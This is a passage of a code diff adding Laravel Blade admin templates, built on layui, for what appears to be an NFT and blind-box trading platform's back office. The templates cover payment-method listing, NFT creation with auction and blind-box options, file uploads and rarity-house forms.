<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use('upload', function(){
|
||||
var upload = layui.upload;
|
||||
|
||||
//执行实例
|
||||
var uploadInst = upload.render({
|
||||
elem: '#upload_test' //绑定元素
|
||||
,url: '{{URL("api/upload")}}' //上传接口
|
||||
,done: function(res){
|
||||
//上传完毕回调
|
||||
if (res.type == "ok"){
|
||||
$("#thumbnail").val(res.message)
|
||||
$("#img_thumbnail").show()
|
||||
$("#img_thumbnail").attr("src",res.message)
|
||||
} else{
|
||||
alert(res.message)
|
||||
}
|
||||
}
|
||||
,error: function(){
|
||||
//请求异常回调
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/bank/add')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,131 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加收款方式','{{url('admin/bank/add')}}')">添加收款方式</button>
|
||||
|
||||
{{--<form class="layui-form layui-form-pane layui-inline" action="">--}}
|
||||
{{--<div class="layui-inline" style="margin-left: 50px;">--}}
|
||||
{{--<label class="layui-form-label">用户名</label>--}}
|
||||
{{--<div class="layui-input-inline">--}}
|
||||
{{--<input type="text" name="account_number" autocomplete="off" class="layui-input">--}}
|
||||
{{--</div>--}}
|
||||
{{--</div>--}}
|
||||
{{--<div class="layui-inline">--}}
|
||||
{{--<div class="layui-input-inline">--}}
|
||||
{{--<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>--}}
|
||||
{{--</div>--}}
|
||||
{{--</div>--}}
|
||||
|
||||
|
||||
|
||||
{{--</form>--}}
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_display" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_display == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
{{--<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="detail">调节账户</a>--}}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
</script>
|
||||
<script type="text/html" id="logo">
|
||||
<img src="@{{d.logo}}" >
|
||||
</script>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: '{{url('admin/bank/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', minWidth:80, sort: true}
|
||||
,{field: 'name', title: '支付方式', minWidth:80}
|
||||
,{field: 'logo', title: '图标', minWidth:80,templet: '#logo'}
|
||||
// ,{field: 'sort', title: '排序', minWidth:80}
|
||||
,{field: 'sort', title: '排序', minWidth:80}
|
||||
// ,{field: 'create_time', title: '添加时间', minWidth:80}
|
||||
// ,{field: 'wechat_nickname', title: '微信昵称', minWidth:80}
|
||||
// ,{field: 'wechat_account', title: '微信账号', minWidth:80}
|
||||
// ,{field: 'ali_nickname', title: '支付宝昵称', minWidth:80}
|
||||
// ,{field: 'ali_account', title: '支付宝账号', minWidth:80}
|
||||
// ,{field: 'bank_name', title: '银行名称', minWidth:80}
|
||||
// ,{field:'is_display', title:'是否显示', minWidth:85, templet: '#switchTpl', unresize: true}
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
form.on('switch(sexDemo)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_display')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/bank/del')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer_show('编辑币种','{{url('admin/bank/add')}}?id='+data.id);
|
||||
} else if(obj.event === 'detail'){
|
||||
layer_show('调节账户','{{url('admin/adjust_account')}}?id='+data.id,800,600);
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.account_number;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,509 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width:90px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 120px;
|
||||
}
|
||||
.layui-fluid .layui-table-cell {
|
||||
line-height: 20px;
|
||||
padding: 5px 5px ;
|
||||
position: relative;
|
||||
box-sizing: border-box;
|
||||
text-align: center;
|
||||
overflow: visible;
|
||||
height:auto;
|
||||
overflow:visible;
|
||||
text-overflow:inherit;
|
||||
white-space:normal;
|
||||
}
|
||||
.reddot {
|
||||
position: absolute;
|
||||
right:5%;
|
||||
color: red;
|
||||
}
|
||||
.layui-textarea{
|
||||
height: 80px;
|
||||
min-height: 80px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
|
||||
@if(!empty($currency))
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>交易币种</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='currency'>
|
||||
@foreach($currency as $key => $value)
|
||||
<option class='layui-option' value="{{$value['id']}}" >{{$value['name']}}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>名称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="name" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>交易类型</label>
|
||||
<div class="layui-input-block" >
|
||||
<select name='pay_type' id="select_type" lay-filter="select_type">
|
||||
<option value='1' class='layui-option'>一口价</option>
|
||||
<option value='2' class='layui-option'>竞拍</option>
|
||||
<option value='3' class='layui-option'>盲盒</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>稀有度</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='rarity' id="rarity" lay-filter="rarity">
|
||||
<option value='N' class='layui-option'>N</option>
|
||||
<option value='R' class='layui-option'>R</option>
|
||||
<option value='SR' class='layui-option'>SR</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-form-item" id="bind_select">-->
|
||||
<!-- <label class="layui-form-label"><span class="reddot">*</span>该稀有度对应的盲盒</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <select name=''>-->
|
||||
<!-- <option value=''>请选择</option>-->
|
||||
<!-- </select>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-form-item" id="bind_select">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>该稀有度对应的盲盒</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='rarity_house_id' id="bind_select_val">
|
||||
<!--<option value=''>请选择</option>-->
|
||||
<!--<option class='layui-option' value="" ></option>-->
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>价格</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="price" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" id="auction" lay-filter="auction">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>竞拍每次加价</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" id="auction_val" name="per_increase" autocomplete="off" placeholder="" class="layui-input" value="">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" id="margin_price" lay-filter="auction">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>保证金</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" id="margin_price_val" name="margin" autocomplete="off" placeholder="" class="layui-input" value="">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>作者ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="author" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>文件类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='type'>
|
||||
<option value='1' class='layui-option'>图片</option>
|
||||
<option value='4' class='layui-option'>视频</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>文件上传</label>
|
||||
<div class="layui-upload" style="border:1px solid #e6e6e6;border-radius:4px;padding:10px 0;margin-top:10px;margin-left:120px;">
|
||||
<button type="button" class="layui-btn layui-btn-normal" id="cfile" style="margin-left:30px">选择文件</button> <br/>
|
||||
<div><img src="" id="imageupload_img" style="display: none;cursor:pointer;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;" onclick="showBigImage(this)" /></div>
|
||||
<div><video src="" id="imageupload_video" style="display: none;cursor:pointer;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;" onclick="showBigVideo(this)" /></div>
|
||||
<div class="layui-upload-list">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>文件名</th>
|
||||
<th>大小</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<input name="image" type="hidden" id="imageupload_val" value="" lay-verify="required">
|
||||
<tbody id="demoList"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
<button type="button" class="layui-btn" id="uploadBegin" style="margin-left:30px">开始上传</button>
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="layui-form-item layui-form-text">-->
|
||||
<!-- <label class="layui-form-label">文件上传</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <button class="layui-btn" type="button" id="upload_bindbox">选择文件</button>-->
|
||||
<!-- <br>-->
|
||||
<!-- <img src="@if(!empty($news->bindbox_upload)){{$news->bindbox_upload}}@endif" id="upload_bindbox_upload" class="bindbox_upload" style="display: @if(!empty($news->bindbox_upload)){{"block"}}@else{{"none"}}@endif;max-width: 200px;height: auto;margin-top: 5px;">-->
|
||||
<!-- <input type="hidden" name="image" id="bindbox_upload" value="@if(!empty($news->bindbox_upload)){{$news->bindbox_upload}}@endif">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <label class="layui-form-label">数量</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="text" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <label class="layui-form-label">是否显示</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <select name='type'>-->
|
||||
<!-- <option value='1' class='layui-option'>可用</option>-->
|
||||
<!-- <option value='0' class='layui-option'>不可用</option>-->
|
||||
<!-- </select>-->
|
||||
<!-- </div>-->
|
||||
<!-- </div>-->
|
||||
<div class="test-table-reload-btn" style="margin-bottom: 10px;">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>开始时间</label>
|
||||
<div class="layui-inline">
|
||||
<input class="layui-input test-laydate-item" name="start_time" placeholder="年 - 月 - 日 -- : -- : --" id="start_time" autocomplete="off" lay-verify="required">
|
||||
</div>
|
||||
<div class="layui-inline" style="width: 80px;text-align: right">结束时间</div>
|
||||
<div class="layui-inline">
|
||||
<input class="layui-input test-laydate-item" name="end_time" placeholder="年 - 月 - 日 -- : -- : --" id="end_time" autocomplete="off" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">关于艺术家</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea type="text" name="author_description" autocomplete="off" placeholder="" class="layui-textarea" value="" rows="10" cols="100"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">资产详情</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea type="text" name="description" autocomplete="off" placeholder="" class="layui-textarea" value="" rows="10" cols="100"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="bindBoxsubmit" lay-filter="bindBoxsubmit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
// 若选择拍卖显示加价和保证金
|
||||
$("#auction").hide();
|
||||
$("#margin_price").hide();
|
||||
$("#bind_select").hide();
|
||||
|
||||
layui.use(['layer', 'jquery', 'form'], function () {
|
||||
var layer = layui.layer,
|
||||
$ = layui.jquery,
|
||||
form = layui.form;
|
||||
|
||||
form.on('select(select_type)', function(data){
|
||||
if(data.value == '1'){
|
||||
$("#auction").hide();
|
||||
$("#auction_val").val("");
|
||||
|
||||
$("#margin_price").hide();
|
||||
$("#margin_price_val").val("");
|
||||
|
||||
$("#bind_select").hide();
|
||||
$("#bind_select_val").val("");
|
||||
form.render('select');
|
||||
}if(data.value == '2'){
|
||||
$("#auction").show();
|
||||
|
||||
$("#margin_price").show();
|
||||
|
||||
$("#bind_select").hide();
|
||||
$("#bind_select_val").val("");
|
||||
form.render('select');
|
||||
}if(data.value == '3'){
|
||||
getRarity_house(form);
|
||||
|
||||
$("#auction").hide();
|
||||
$("#auction_val").val("");
|
||||
|
||||
$("#margin_price").hide();
|
||||
$("#margin_price_val").val("");
|
||||
|
||||
$("#bind_select").show();
|
||||
form.render('select');
|
||||
form.on('select(rarity)', function(data){
|
||||
getRarity_house(form);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(bindBoxsubmit)', function(data){
|
||||
var data = data.field;
|
||||
delete data.file;
|
||||
// data.start_time=data.start_time.replace("T"," ")
|
||||
// data.end_time=data.end_time.replace("T"," ")
|
||||
$.ajax({
|
||||
url:'{{url('admin/bind_box/addNFT')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='ok'){
|
||||
layer.msg('操作成功!');
|
||||
}if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
layui.use(['element', 'form', 'upload', 'layer', 'laydate'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,form = layui.form
|
||||
,laydate = layui.laydate
|
||||
,$ = layui.$;
|
||||
|
||||
//同时绑定多个
|
||||
lay('.test-laydate-item').each(function(){
|
||||
laydate.render({
|
||||
elem: this
|
||||
,trigger: 'click'
|
||||
,type: 'datetime'
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// layui.use('upload', function(){
|
||||
// var upload = layui.upload;
|
||||
|
||||
// //执行实例
|
||||
// var uploadInst = upload.render({
|
||||
// elem: '#upload_bindbox' //绑定元素
|
||||
// ,url: '{{URL("api/uploadNFT")}}?scene=admin' //上传接口
|
||||
// ,done: function(res){
|
||||
// //上传完毕回调
|
||||
// if (res.type == "ok"){
|
||||
// $("#bindbox_upload").val(res.message)
|
||||
// $("#upload_bindbox_upload").show()
|
||||
// $("#upload_bindbox_upload").attr("src",res.message)
|
||||
// } else{
|
||||
// alert(res.message)
|
||||
// }
|
||||
// }
|
||||
// ,error: function(){
|
||||
// //请求异常回调
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
//获取盲盒种类
|
||||
function getRarity_house(form){
|
||||
var val = $("#rarity option:selected").val()
|
||||
$.ajax({
|
||||
url:'{{url('/admin/bind_box/getRarityHouse')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data: { rarity: val}
|
||||
,success:function(res){
|
||||
var bind_select_val = document.getElementById('bind_select_val')
|
||||
var str = ''
|
||||
res.rarity_house.forEach(function(item) {
|
||||
str += "<option class='layui-option' value=' " + item.id + "' >"+ '名称:' + item.name + "</option>"
|
||||
})
|
||||
bind_select_val.innerHTML = "<option value=''>请选择</option>" + str
|
||||
console.log('vvvvv', bind_select_val, res.rarity_house)
|
||||
form.render('select');
|
||||
|
||||
// const value = res.message.data[0]
|
||||
// $("#rarity_house").val(value.price)
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function showBigImage(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: false,
|
||||
closeBtn: 0,
|
||||
shadeClose: true,
|
||||
area: [$(e).width + 'px', $(e).height + 'px'],
|
||||
content: "<img style='padding:12px;max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
function showBigVideo(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: '视频预览',
|
||||
closeBtn: 0,
|
||||
shadeClose: true,
|
||||
offset: 'auto',
|
||||
area: 'auto',
|
||||
content: "<video controls='controls' style='padding:12px;max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
var imageUpload = $('#uploadBegin').val()
|
||||
layui.use('upload', function() {
|
||||
var $ = layui.jquery,
|
||||
upload = layui.upload; //声明上传组件
|
||||
|
||||
//文件列表示例
|
||||
var num = "";
|
||||
var show = "";
|
||||
var demoListView = $('#demoList'), //上传表格的详情
|
||||
uploadListIns = upload.render({ //渲染
|
||||
elem: '#cfile', //绑定选择文件按钮
|
||||
url: '{{url('api/uploadNFT')}}',
|
||||
accept: 'file', //允许上传文件类型
|
||||
multiple: false, //是否允许多文件上传开关
|
||||
auto: false, //是否自动上传,true就是选择完文件之后自动上传
|
||||
bindAction: '#uploadBegin', //绑定开始上传按钮,如果自动上传则不需要这个按钮
|
||||
choose: function(obj) {
|
||||
var files = this.files = obj.pushFile(); //将每次选择的文件追加到文件队列
|
||||
//读取本地文件
|
||||
obj.preview(function(index, file, result) {
|
||||
var tr = $(['<tr id="upload-' + index + '">', '<td id="filename">' + file
|
||||
.name + '</td>', '<td>' + (file.size / 1014).toFixed(1) +
|
||||
'kb</td>', '<td>等待上传</td>', '<td>',
|
||||
'<button class="layui-btn layui-btn-xs layui-btn-danger demo-delete">删除</button>',
|
||||
'</td>', '</tr>'
|
||||
].join(''));
|
||||
|
||||
//删除
|
||||
tr.find('.demo-delete').on('click', function() {
|
||||
delete files[index]; //删除对应的文件
|
||||
tr.remove();
|
||||
uploadListIns.config.elem.next()[0].value =
|
||||
''; //清空 input file 值,以免删除后出现同名文件不可选
|
||||
});
|
||||
demoListView.append(tr);
|
||||
|
||||
var filenum = $("tr").length;
|
||||
if(filenum >= 2){
|
||||
$("tr").first().remove()
|
||||
}
|
||||
|
||||
});
|
||||
},
|
||||
before: function() { //这里暂时规定一次只能上传一个文件
|
||||
|
||||
var filenum = $("tr").length;
|
||||
console.log(123123,filenum)
|
||||
var file = $("#filename").text();
|
||||
var ext = file.slice(file.lastIndexOf(".") + 1).toLowerCase();
|
||||
if (filenum > 2) {
|
||||
layer.msg("一次只能上传一个文件");
|
||||
return false;
|
||||
}
|
||||
if (file == null || file == "") {
|
||||
layer.msg("请选择文件");
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
// else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// console.log(1211221)
|
||||
// layer.msg("所选择文件不规范");
|
||||
// return false;
|
||||
// }
|
||||
},
|
||||
done: function(res, index, upload) {
|
||||
var loading = parent.layer.load(1, {
|
||||
shade: 0.2,
|
||||
time: 500
|
||||
});
|
||||
if (res.type == 'ok') { //上传成功
|
||||
let imageUpload = res.message;
|
||||
// console.log(1111111,imageUpload)
|
||||
|
||||
var reg = /\.(png|PNG|jpg|JPG|gif|GIF|jpeg|JPEG|webp|WEBP)$/;
|
||||
var isImgVideo = reg.test(imageUpload);
|
||||
if(isImgVideo){
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_video").hide();
|
||||
$("#imageupload_img").show();
|
||||
$("#imageupload_img").attr("src",res.message)
|
||||
}else{
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_img").hide();
|
||||
$("#imageupload_video").show();
|
||||
$("#imageupload_video").attr("src",res.message)
|
||||
}
|
||||
|
||||
var tr = demoListView.find('tr#upload-' + index),
|
||||
tds = tr.children();
|
||||
tds.eq(2).html('<span style="color: #5FB878;">上传成功</span>');
|
||||
tds.eq(3).html(''); //清空操作
|
||||
return delete this.files[index]; //删除文件队列已经上传成功的文件
|
||||
}
|
||||
this.error(index, upload, res);
|
||||
layer.close(loading);
|
||||
},
|
||||
error: function(index, upload, res) {
|
||||
layer.msg(res.message);
|
||||
var tr = demoListView.find('tr#upload-' + index),
|
||||
tds = tr.children();
|
||||
tds.eq(2).html('<span style="color: #FF5722;">上传失败:' + res.msg + '</span>');
|
||||
tds.eq(3).find('.demo-reload').removeClass('layui-hide'); //显示重传
|
||||
}
|
||||
});
|
||||
//这里在点击上传是添加了一个文件类型的判断
|
||||
// $(window).one("resize",function(){
|
||||
// $(".import").click(function(){//上传按钮
|
||||
// var file=document.getElementById("teacherFile").value;
|
||||
// var ext = file.slice(file.lastIndexOf(".")+1).toLowerCase();
|
||||
// if(file==null || file ==""){
|
||||
// layer.msg("请选择文件");
|
||||
// }
|
||||
// else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// console.log(1211221)
|
||||
// layer.msg("所选择文件不规范");
|
||||
// return false;
|
||||
// }
|
||||
// else {
|
||||
// layer.msg("选择文件规范");
|
||||
// }
|
||||
// })
|
||||
|
||||
// }).resize();
|
||||
})
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,265 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width:90px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 120px;
|
||||
}
|
||||
.layui-fluid .layui-table-cell {
|
||||
line-height: 20px;
|
||||
padding: 5px 5px ;
|
||||
position: relative;
|
||||
box-sizing: border-box;
|
||||
text-align: center;
|
||||
overflow: visible;
|
||||
height:auto;
|
||||
overflow:visible;
|
||||
text-overflow:inherit;
|
||||
white-space:normal;
|
||||
}
|
||||
.reddot {
|
||||
position: absolute;
|
||||
right:5%;
|
||||
color: red;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>名称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="name" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>稀有度</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='rarity' id="rarity" lay-filter="rarity">
|
||||
<option value='N' class='layui-option'>N</option>
|
||||
<option value='R' class='layui-option'>R</option>
|
||||
<option value='SR' class='layui-option'>SR</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>文件上传</label>
|
||||
<div class="layui-upload" style="border:1px solid #e6e6e6;border-radius:4px;padding:10px 0;margin-top:10px;margin-left:120px;">
|
||||
<button type="button" class="layui-btn layui-btn-normal" id="cfile" style="margin-left:30px">选择文件</button> <br/>
|
||||
<div><img src="" id="imageupload_img" style="display: none;cursor:pointer;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;" onclick="showBigImage(this)" /></div>
|
||||
<div><video src="" id="imageupload_video" style="display: none;cursor:pointer;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;" onclick="showBigVideo(this)" /></div>
|
||||
<div class="layui-upload-list">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>文件名</th>
|
||||
<th>大小</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<input name="file" type="hidden" id="imageupload_val" value="" lay-verify="required">
|
||||
<tbody id="demoList"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
<button type="button" class="layui-btn" id="uploadBegin" style="margin-left:30px">开始上传</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="bindBoxsubmit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(bindBoxsubmit)', function(data){
|
||||
var data = data.field;
|
||||
// data.start_time=data.start_time.replace("T"," ")
|
||||
// data.end_time=data.end_time.replace("T"," ")
|
||||
$.ajax({
|
||||
url:'{{url('admin/bind_box/add_rarity_house')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='ok'){
|
||||
layer.msg('操作成功!');
|
||||
|
||||
}if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
layer.msg(res.message);
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
function showBigImage(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: false,
|
||||
closeBtn: 0,
|
||||
shadeClose: true,
|
||||
area: [$(e).width + 'px', $(e).height + 'px'], //宽高
|
||||
content: "<img style='padding:12px;max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
function showBigVideo(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: '视频预览',
|
||||
closeBtn: 0,
|
||||
shadeClose: true,
|
||||
offset: 'auto',
|
||||
area: 'auto',
|
||||
content: "<video controls='controls' style='padding:12px;max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
var imageUpload = $('#uploadBegin').val()
|
||||
layui.use('upload', function() {
|
||||
var $ = layui.jquery,
|
||||
upload = layui.upload; //声明上传组件
|
||||
|
||||
//文件列表示例
|
||||
var num = "";
